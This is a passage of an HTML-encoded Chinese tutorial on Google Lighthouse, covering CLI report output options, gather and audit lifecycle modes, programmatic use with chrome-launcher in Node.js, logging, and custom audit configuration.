&#x9519;&#x8BEF;&#x7684;&#x53D1;&#x751F;&#xFF1A;</p>\n<ol>\n<li>&#x521D;&#x59CB;&#x6E32;&#x67D3;&#x7684;&#x65F6;&#x5019;&#x9875;&#x9762;&#x4E0D;&#x5305;&#x542B;&#x6587;&#x672C;&#xFF0C;&#x800C;&#x53EA;&#x5305;&#x542B;&#x4E00;&#x4E2A; spinner</li>\n<li>&#x4F60;&#x7684;&#x7AD9;&#x70B9;&#x7684;&#x542F;&#x52A8;&#x548C;&#x6E32;&#x67D3;&#x4E3B;&#x8981;&#x5185;&#x5BB9;&#x5728; 5-10s &#x7684;&#x5EF6;&#x8FDF;&#x4E4B;&#x540E;&#x53D1;&#x751F;</li>\n</ol>\n<p><a href=\"https://github.com/GoogleChrome/lighthouse/issues/6154\" target=\"_blank\">&#x70B9;&#x51FB;</a>&#x67E5;&#x770B;&#x6700;&#x65B0;&#x89E3;&#x51B3;&#x65B9;&#x6848;</p>\n</blockquote>\n<p>&#x9ED8;&#x8BA4;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x8FD0;&#x884C;&#x62A5;&#x544A;&#x5C06;&#x4EE5; html &#x7684;&#x683C;&#x5F0F;&#x8F93;&#x51FA;&#x5728;&#x5F53;&#x524D;&#x76EE;&#x5F55;&#x7684; <code>./<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>HOST</span><span class=\"token punctuation\">&gt;</span></span>_<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>DATE</span><span class=\"token punctuation\">&gt;</span></span>.report.html</code> &#x6587;&#x4EF6;&#x4E2D;&#xFF0C;&#x5982;&#x4E0A;&#x8FF0;&#x547D;&#x4EE4;&#x7ED3;&#x679C;&#x5C06;&#x5B58;&#x50A8;&#x5728; www.example.com_2019-04-02_16-51-15.report.html&#x3002;&#x6211;&#x4EEC;&#x4E5F;&#x53EF;&#x4EE5;&#x6307;&#x5B9A;&#x8F93;&#x51FA;&#x7684;&#x683C;&#x5F0F;&#x4E0E;&#x8DEF;&#x5F84;&#xFF0C;&#x5982;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">lighthouse https://example.com/ --output html --output-path ./report.html\n</code></pre>\n<p>&#x5982;&#x679C;&#x9700;&#x8981;&#x5C06;&#x7ED3;&#x679C;&#x5728;&#x6807;&#x51C6;&#x8F93;&#x51FA;&#x6D41;&#x4E2D;&#x4EE5; json &#x683C;&#x5F0F;&#x8F93;&#x51FA;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">lighthouse https://example.com/ --output json\n</code></pre>\n<p>&#x5C06;&#x7ED3;&#x679C;&#x4EE5; json &#x6587;&#x4EF6;&#x7684;&#x5F62;&#x5F0F;&#x8F93;&#x51FA;&#x5230;&#x672C;&#x5730;&#x76EE;&#x5F55;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">lighthouse https://example.com/ --output json --output-path ./myfile.json\n</code></pre>\n<p>&#x8F93;&#x5165; <code>--help</code> &#x9009;&#x9879;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x53EF;&#x7528;&#x7684;&#x8F93;&#x5165;&#x3001;&#x8F93;&#x51FA;&#x9009;&#x9879;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">lighthouse --help\n</code></pre>\n<h4 id=\"&#x751F;&#x547D;&#x5468;&#x671F;\"><a name=\"&#x751F;&#x547D;&#x5468;&#x671F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x751F;&#x547D;&#x5468;&#x671F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x751F;&#x547D;&#x5468;&#x671F;\" class=\"plugin-anchor\" href=\"#&#x751F;&#x547D;&#x5468;&#x671F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x751F;&#x547D;&#x5468;&#x671F;</h4>\n<p>Lighthouse &#x8FD0;&#x884C;&#x6D4B;&#x8BC4;&#x7684;&#x8FC7;&#x7A0B;&#x6709;&#x4E00;&#x5957;&#x5B8C;&#x6574;&#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#xFF0C;&#x53EF;&#x4EE5;&#x5212;&#x5206;&#x6210;&#x4E09;&#x4E2A;&#x4E3B;&#x8981;&#x6D41;&#x7A0B;&#xFF1A;&#x9996;&#x5148;&#x662F; Collecting &#x6D41;&#x7A0B;&#xFF0C;&#x8FD9;&#x4E00;&#x6B65;&#x4F1A;&#x8C03;&#x7528;&#x5185;&#x7F6E;&#x7684; Driver&#xFF0C;&#x5176;&#x4F5C;&#x7528;&#x662F;&#x901A;&#x8FC7; Chrome DevTools Protocol &#x8C03;&#x8D77;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x5E76;&#x521B;&#x5EFA;&#x65B0;&#x7684; tab &#x8BF7;&#x6C42;&#x5F85;&#x6D4B;&#x8BC4;&#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x901A;&#x8FC7;&#x6D4F;&#x89C8;&#x5668;&#x91C7;&#x96C6;&#x7AD9;&#x70B9;&#x6570;&#x636E;&#x5E76;&#x5C06;&#x7ED3;&#x679C;&#xFF08;&#x79F0;&#x4E4B;&#x4E3A; Artifacts&#xFF09;&#x4FDD;&#x5B58;&#x5728;&#x672C;&#x5730;&#x4E34;&#x65F6;&#x76EE;&#x5F55;&#x3002;&#x7136;&#x540E;&#x8FDB;&#x5165; Auditing &#x6D41;&#x7A0B;&#xFF0C;&#x8BFB;&#x53D6; Artifacts &#x6570;&#x636E;&#xFF0C;&#x6839;&#x636E;&#x5185;&#x7F6E;&#x7684;&#x8BC4;&#x5224;&#x7B56;&#x7565;&#x9010;&#x6761;&#x8FDB;&#x884C;&#x68C0;&#x67E5;&#x5E76;&#x8BA1;&#x7B97;&#x51FA;&#x5404;&#x9879;&#x7684;&#x6570;&#x5B57;&#x5F62;&#x5F0F;&#x5F97;&#x5206;&#x3002;&#x6700;&#x540E;&#x8FDB;&#x884C; Report &#x6D41;&#x7A0B;&#xFF0C;&#x5C06;&#x8BC4;&#x5206;&#x7ED3;&#x679C;&#x6309;&#x7167; PWA&#x3001;&#x6027;&#x80FD;&#x3001;&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#x3001;&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x7B49;&#x7EAC;&#x5EA6;&#x8FDB;&#x884C;&#x5212;&#x5206;&#xFF0C;&#x4EE5; JSON&#x3001;HTML &#x7B49;&#x683C;&#x5F0F;&#x8F93;&#x51FA;&#x3002;&#x5982;&#x4E0B;&#x56FE;&#xFF1A;</p>\n<p><img src=\"img/life_circle.jpg\" alt=\"lifecircle\"></p>\n<p>&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#x57FA;&#x4E8E;&#x6B64;&#x63D0;&#x4F9B;&#x4E86;&#x751F;&#x547D;&#x5468;&#x671F;&#x7684;&#x9009;&#x9879;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x8BA9; CLI &#x53EA;&#x8FD0;&#x884C;&#x6574;&#x4E2A;&#x6D4B;&#x8BC4;&#x8FC7;&#x7A0B;&#x7684;&#x4E00;&#x4E2A;&#x6216;&#x591A;&#x4E2A;&#x7279;&#x5B9A;&#x751F;&#x547D;&#x5468;&#x671F;&#x3002;&#x6BD4;&#x5982;&#xFF0C;&#x4F7F;&#x7528; --gather-mode&#xFF08;-G&#xFF09;&#x53EA;&#x8FDB;&#x884C;&#x8D44;&#x6E90;&#x91C7;&#x96C6;&#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#xFF0C;&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#x5C06;&#x4F1A;&#x542F;&#x52A8;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x91C7;&#x96C6;&#x88AB;&#x6D4B;&#x8BD5;&#x7AD9;&#x70B9;&#x7684;&#x76F8;&#x5173;&#x6570;&#x636E;&#xFF0C;&#x5E76;&#x5C06;&#x7ED3;&#x679C;&#x4EE5; json &#x7684;&#x5F62;&#x5F0F;&#x5B58;&#x50A8;&#x5230;&#x672C;&#x5730;&#xFF0C;&#x9ED8;&#x8BA4;&#x662F; <code>./latest-run/</code> &#x76EE;&#x5F55;&#xFF0C;&#x7136;&#x540E;&#x9000;&#x51FA;&#x8FDB;&#x7A0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">lighthouse https://example.com/ -G\n</code></pre>\n<p>&#x5982;&#x679C;&#x60F3;&#x8981;&#x8DF3;&#x8FC7;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x4EA4;&#x4E92;&#xFF0C;&#x76F4;&#x63A5;&#x4ECE;&#x672C;&#x5730;&#x8BFB;&#x53D6;&#x9875;&#x9762;&#x7684;&#x4E34;&#x65F6;&#x6570;&#x636E;&#xFF0C;&#x8FD0;&#x884C;&#x6D4B;&#x8BC4;&#x548C;&#x4EA7;&#x51FA;&#x7ED3;&#x679C;&#x62A5;&#x544A;&#xFF0C;&#x5219;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; --audit-mode&#xFF08;-A&#xFF09;&#xFF0C;&#x9ED8;&#x8BA4;&#x5C06;&#x4ECE; <code>./latest-run/</code> &#x76EE;&#x5F55;&#x8BFB;&#x53D6;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">lighthouse https://example.com/ -A\n</code></pre>\n<p>&#x4E24;&#x4E2A;&#x9009;&#x9879;&#x540C;&#x65F6;&#x4F7F;&#x7528;&#xFF0C;&#x5C31;&#x4F1A;&#x8FD0;&#x884C;&#x6574;&#x4E2A;&#x6D4B;&#x8BC4;&#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#xFF0C;&#x4E0E;&#x76F4;&#x63A5;&#x8FD0;&#x884C; lighthouse &#x547D;&#x4EE4;&#x76F8;&#x6BD4;&#xFF0C;&#x4F1A;&#x5728;&#x5F53;&#x524D;&#x76EE;&#x5F55;&#x4FDD;&#x5B58;&#x4E00;&#x4EFD;&#x6D4B;&#x8BD5;&#x7AD9;&#x70B9;&#x7684;&#x6570;&#x636E;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">lighthouse https://example.com -GA\n</code></pre>\n<p>&#x5982;&#x679C;&#x4E0D;&#x60F3;&#x4F7F;&#x7528;&#x9ED8;&#x8BA4;&#x7684; <code>./latest-run/</code> &#x76EE;&#x5F55;&#xFF0C;&#x6211;&#x4EEC;&#x4E5F;&#x80FD;&#x81EA;&#x5B9A;&#x4E49;&#x7AD9;&#x70B9;&#x7684; json &#x6570;&#x636E;&#x7684;&#x4FDD;&#x5B58;&#x76EE;&#x5F55;&#xFF0C;&#x5982;&#xFF1A;</p>\n<pre class=\"language-\"><code>lighthouse -GA=./mycustomfolder https://example.com\n</code></pre><h3 id=\"&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528;-lighthouse\"><a name=\"&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528;-lighthouse\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528;-lighthouse\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528;-lighthouse\" class=\"plugin-anchor\" href=\"#&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528;-lighthouse\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528; Lighthouse</h3>\n<p>&#x9664;&#x4E86;&#x4E0A;&#x8FF0;&#x51E0;&#x79CD;&#x65B9;&#x5F0F;&#x4E4B;&#x5916;&#xFF0C;Lighthouse &#x4E5F;&#x63D0;&#x4F9B;&#x4E86; NPM &#x5305;&#xFF0C;&#x6211;&#x4EEC;&#x80FD;&#x591F;&#x4EE5; Node.js &#x6A21;&#x5757;&#x7684;&#x5F62;&#x5F0F;&#x5F15;&#x5165;&#x5230;&#x9879;&#x76EE;&#x4EE3;&#x7801;&#x4E2D;&#xFF0C;&#x7ED3;&#x5408;&#x53E6;&#x4E00;&#x4E2A; NPM &#x6A21;&#x5757; <code>chrome-launcher</code> &#x7528;&#x4E8E;&#x8C03;&#x8D77;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x968F;&#x5FC3;&#x6240;&#x6B32;&#x5730;&#x4EE5;&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528;&#x4E86;&#x3002;</p>\n<p>&#x9996;&#x5148;&#x8981;&#x5728;&#x9879;&#x76EE;&#x4E2D;&#x5B89;&#x88C5;&#x4F9D;&#x8D56;&#x6A21;&#x5757;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\"><span class=\"token function\">npm</span> <span class=\"token function\">install</span> lighthouse chrome-launcher\n<span class=\"token comment\"># yarn add lighthouse chrome-launcher</span>\n</code></pre>\n<p>&#x5728;&#x4F7F;&#x7528; lighthouse &#x63A5;&#x53E3;&#x4E4B;&#x524D;&#xFF0C;&#x9700;&#x8981;&#x5148;&#x7528;&#x542F;&#x52A8;&#x4E00;&#x4E2A; chrome&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C01;&#x88C5;&#x4E00;&#x4E2A;&#x540D;&#x4E3A; launchChromeAndRunLighthouse &#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x6765;&#x5B8C;&#x6210;&#x8FD9;&#x4E24;&#x6B65;&#x3002;chromeLauncher &#x5DE5;&#x5177;&#x5305;&#x63D0;&#x4F9B;&#x4E86; launch &#x65B9;&#x6CD5;&#xFF0C;&#x63A5;&#x6536;&#x4E00;&#x4E2A;&#x542F;&#x52A8;&#x6240;&#x9700;&#x7684;&#x53C2;&#x6570; opts&#xFF0C;&#x8FD9;&#x4E2A;&#x53C2;&#x6570;&#x7528;&#x4E8E;&#x914D;&#x7F6E; chrome &#x7684;&#x542F;&#x52A8;&#x73AF;&#x5883;&#x3001;&#x542F;&#x52A8;&#x65B9;&#x5F0F;&#x7B49;&#xFF0C;&#x5728;&#x8FD4;&#x56DE;&#x7684; promise &#x5BF9;&#x8C61;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x80FD;&#x83B7;&#x53D6;&#x5230; chrome &#x5B9E;&#x4F8B;&#x3002;&#x518D;&#x5C06;&#x5F85;&#x6D4B;&#x8BD5; url &#x53CA; opts &#x63D0;&#x4F9B;&#x7ED9; lighthouse&#xFF0C;&#x6D4B;&#x8BD5;&#x5B8C;&#x6210;&#x540E;&#x9700;&#x8981;&#x5173;&#x6389; chrome &#x5B9E;&#x4F8B;&#xFF0C;&#x7136;&#x540E;&#x5C31;&#x80FD;&#x62FF;&#x5230;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x7684;&#x6D4B;&#x8BD5;&#x62A5;&#x544A; results &#x4E86;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">const</span> lighthouse <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;lighthouse&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> chromeLauncher <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;chrome-launcher&apos;</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">launchChromeAndRunLighthouse</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">url<span class=\"token punctuation\">,</span> opts<span class=\"token punctuation\">,</span> config <span class=\"token operator\">=</span> <span class=\"token keyword\">null</span></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> chromeLauncher<span class=\"token punctuation\">.</span><span class=\"token function\">launch</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>chromeFlags<span class=\"token punctuation\">:</span> opts<span class=\"token punctuation\">.</span>chromeFlags<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">chrome</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    opts<span class=\"token punctuation\">.</span>port <span class=\"token operator\">=</span> chrome<span class=\"token punctuation\">.</span>port\n    <span class=\"token keyword\">return</span> <span class=\"token function\">lighthouse</span><span class=\"token punctuation\">(</span>url<span class=\"token punctuation\">,</span> opts<span class=\"token punctuation\">,</span> config<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">results</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> chrome<span class=\"token punctuation\">.</span><span class=\"token function\">kill</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> results<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">const</span> opts <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  chromeFlags<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;--show-paint-rects&apos;</span><span class=\"token punctuation\">]</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">launchChromeAndRunLighthouse</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;https://example.com&apos;</span><span class=\"token punctuation\">,</span> opts<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">results</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// Use results!</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x503C;&#x5F97;&#x4E00;&#x63D0;&#x7684;&#x662F;&#x8FD9;&#x91CC;&#x7684; result &#x5305;&#x542B;&#x4E86;&#x591A;&#x79CD;&#x7C7B;&#x578B;&#x7684;&#x6570;&#x636E;&#x683C;&#x5F0F;&#xFF0C;&#x5982; <code>results.lhr</code> &#x662F; javascript &#x5BF9;&#x8C61;&#xFF08;Lighthouse Result Object&#xFF09;&#xFF0C;&#x800C; <code>results.report</code> &#x5219;&#x662F;&#x7528;&#x4E8E; HTML/JSON/CSV &#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x7684;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x53EF;&#x4EE5;&#x6309;&#x9700;&#x9009;&#x62E9;&#x3002;</p>\n<h4 id=\"&#x6027;&#x80FD;&#x62A5;&#x544A;\"><a name=\"&#x6027;&#x80FD;&#x62A5;&#x544A;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6027;&#x80FD;&#x62A5;&#x544A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6027;&#x80FD;&#x62A5;&#x544A;\" class=\"plugin-anchor\" href=\"#&#x6027;&#x80FD;&#x62A5;&#x544A;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6027;&#x80FD;&#x62A5;&#x544A;</h4>\n<p>&#x5BF9;&#x4E8E;&#x4E00;&#x4E9B;&#x53EA;&#x5173;&#x6CE8;&#x5E94;&#x7528;&#x6027;&#x80FD;&#x7684;&#x4F7F;&#x7528;&#x573A;&#x666F;&#xFF0C;&#x53EF;&#x4EE5;&#x7528; onlyCategories &#x914D;&#x7F6E;&#x9879;&#x6765;&#x8BBE;&#x5B9A;&#x53EA;&#x8FD0;&#x884C;&#x6027;&#x80FD;&#x8FD9;&#x4E2A;&#x7EF4;&#x5EA6;&#x7684;&#x6D4B;&#x8BD5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// ...</span>\n<span class=\"token keyword\">const</span> flags <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>onlyCategories<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;performance&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">}</span>\n<span class=\"token function\">launchChromeAndRunLighthouse</span><span class=\"token punctuation\">(</span>url<span class=\"token punctuation\">,</span> flags<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">results</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// Use performance results!</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x9664;&#x6B64;&#x4E4B;&#x5916;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x81EA;&#x5B9A;&#x4E49;&#x81EA;&#x5DF1;&#x9700;&#x8981;&#x7684;&#x6D4B;&#x8BC4;&#x7EF4;&#x5EA6;&#xFF0C;Lighthouse &#x7684; <a href=\"https://github.com/GoogleChrome/lighthouse/tree/master/docs/recipes/custom-audit\" target=\"_blank\">Github &#x4ED3;&#x5E93;</a>&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E9B;&#x81EA;&#x5B9A;&#x4E49;&#x7684;&#x793A;&#x4F8B;&#x548C;&#x65B9;&#x6CD5;&#x3002;</p>\n<p>&#x6CE8;&#x610F;&#xFF0C;&#x7528;&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528; lighthouse &#x65F6;&#xFF0C;&#x5728;&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#x7684; flags &#x53C2;&#x6570;&#x7684;&#x4F7F;&#x7528;&#x4E0A;&#xFF0C;&#x4E0E; CLI &#x7684;&#x65B9;&#x5F0F;&#x6709;&#x6240;&#x533A;&#x522B;&#x3002;&#x8003;&#x8651;&#x5230;&#x4EE5; node &#x6A21;&#x5757;&#x5F15;&#x5165;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x81EA;&#x5DF1;&#x6765;&#x63A7;&#x5236;&#x8FD9;&#x4E9B;&#x9009;&#x9879;&#x66F4;&#x4E3A;&#x7B80;&#x5355;&#x548C;&#x7075;&#x6D3B;&#xFF0C;&#x90E8;&#x5206; flag &#x9009;&#x9879;&#x503C;&#x53EA;&#x5728; CLI &#x7684;&#x6A21;&#x5F0F;&#x4E0B;&#x751F;&#x6548;&#x3002;node &#x6A21;&#x5757;&#x548C; CLI &#x4E2D;&#x90FD;&#x80FD;&#x4F7F;&#x7528;&#x7684;&#x9009;&#x9879;&#x503C;&#xFF0C;&#x53EF;&#x4EE5;&#x53C2;&#x8003; <a href=\"https://github.com/GoogleChrome/lighthouse/blob/888bd6dc9d927a734a8e20ea8a0248baa5b425ed/typings/externs.d.ts#L82-L119\" target=\"_blank\">&#x5B98;&#x65B9;&#x7684;&#x5B9A;&#x4E49;</a>&#x3002;</p>\n<h4 id=\"&#x5F00;&#x542F;&#x6D4B;&#x8BD5;&#x65E5;&#x5FD7;\"><a name=\"&#x5F00;&#x542F;&#x6D4B;&#x8BD5;&#x65E5;&#x5FD7;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5F00;&#x542F;&#x6D4B;&#x8BD5;&#x65E5;&#x5FD7;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5F00;&#x542F;&#x6D4B;&#x8BD5;&#x65E5;&#x5FD7;\" class=\"plugin-anchor\" href=\"#&#x5F00;&#x542F;&#x6D4B;&#x8BD5;&#x65E5;&#x5FD7;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5F00;&#x542F;&#x6D4B;&#x8BD5;&#x65E5;&#x5FD7;</h4>\n<p>&#x5982;&#x679C;&#x8FD0;&#x884C;&#x671F;&#x95F4;&#x9700;&#x8981;&#x67E5;&#x770B;&#x6D4B;&#x8BD5;&#x7684;&#x65E5;&#x5FD7;&#xFF0C;&#x53EF;&#x4EE5;&#x5F15;&#x5165; lighthouse-logger &#x6A21;&#x5757;&#xFF0C;&#x5B83;&#x652F;&#x6301;&#x6253;&#x5370;&#x4E0D;&#x540C;&#x7EA7;&#x522B;&#x7684;&#x65E5;&#x5FD7;&#x3002;&#x7528;&#x6CD5;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">const</span> log <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;lighthouse-logger&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> flags <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>logLevel<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;info&apos;</span><span class=\"token punctuation\">}</span>\n\nlog<span class=\"token punctuation\">.</span><span class=\"token function\">setLevel</span><span class=\"token punctuation\">(</span>flags<span class=\"token punctuation\">.</span>logLevel<span class=\"token punctuation\">)</span>\n\n<span class=\"token function\">launchChromeAndRunLighthouse</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;https://example.com&apos;</span><span class=\"token punctuation\">,</span> flags<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token operator\">...</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x81EA;&#x5B9A;&#x4E49;&#x914D;&#x7F6E;\"><a name=\"&#x81EA;&#x5B9A;&#x4E49;&#x914D;&#x7F6E;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x81EA;&#x5B9A;&#x4E49;&#x914D;&#x7F6E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x81EA;&#x5B9A;&#x4E49;&#x914D;&#x7F6E;\" class=\"plugin-anchor\" href=\"#&#x81EA;&#x5B9A;&#x4E49;&#x914D;&#x7F6E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x81EA;&#x5B9A;&#x4E49;&#x914D;&#x7F6E;</h3>\n<p>&#x4F60;&#x53EF;&#x80FD;&#x5DF2;&#x7ECF;&#x6CE8;&#x610F;&#x5230; lighthouse &#x5728;&#x8C03;&#x7528;&#x7684;&#x65F6;&#x5019;&#x8FD8;&#x6709;&#x7B2C;&#x4E09;&#x4E2A;&#x53C2;&#x6570;&#xFF1A;<code>lighthouse(url, opts, config)</code>&#xFF0C;&#x8FD9;&#x4E2A; config &#x53C2;&#x6570;&#x80FD;&#x591F;&#x5E2E;&#x52A9;&#x6211;&#x4EEC;&#x7528;&#x66F4;&#x7EC6;&#x7C92;&#x5EA6;&#x7684;&#x63A7;&#x5236;&#x6574;&#x4E2A;&#x6D4B;&#x8BC4;&#x3002;&#x8FD9;&#x79CD;&#x7EC6;&#x7C92;&#x5EA6;&#x7684;&#x914D;&#x7F6E;&#x5728; CLI &#x4E2D;&#x4E5F;&#x662F;&#x652F;&#x6301;&#x7684;&#xFF0C;&#x53EA;&#x662F;&#x4F7F;&#x7528;&#x65B9;&#x5F0F;&#x7565;&#x6709;&#x533A;&#x522B;&#xFF1A;</p>\n<p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x6307;&#x5B9A;&#x4E00;&#x4E2A;&#x914D;&#x7F6E;&#x6587;&#x4EF6; custom-config.js &#x5982;&#x4E0B;&#xFF0C;&#x5B83;&#x5728;&#x7EE7;&#x627F;&#x9ED8;&#x8BA4;&#x7684;&#x914D;&#x7F6E;&#x7684;&#x57FA;&#x7840;&#x4E0A;&#x8FDB;&#x884C;&#x4E86;&#x4E00;&#x5B9A;&#x7684;&#x81EA;&#x5B9A;&#x4E49;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\">module<span class=\"token punctuation\">.</span>exports <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">extends</span><span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;lighthouse:default&apos;</span><span class=\"token punctuation\">,</span>\n  settings<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    onlyAudits<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span>\n      <span class=\"token string\">&apos;first-meaningful-paint&apos;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token string\">&apos;speed-index-metric&apos;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token string\">&apos;estimated-input-latency&apos;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token string\">&apos;first-interactive&apos;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token string\">&apos;consistently-interactive&apos;</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n<span class=\"token 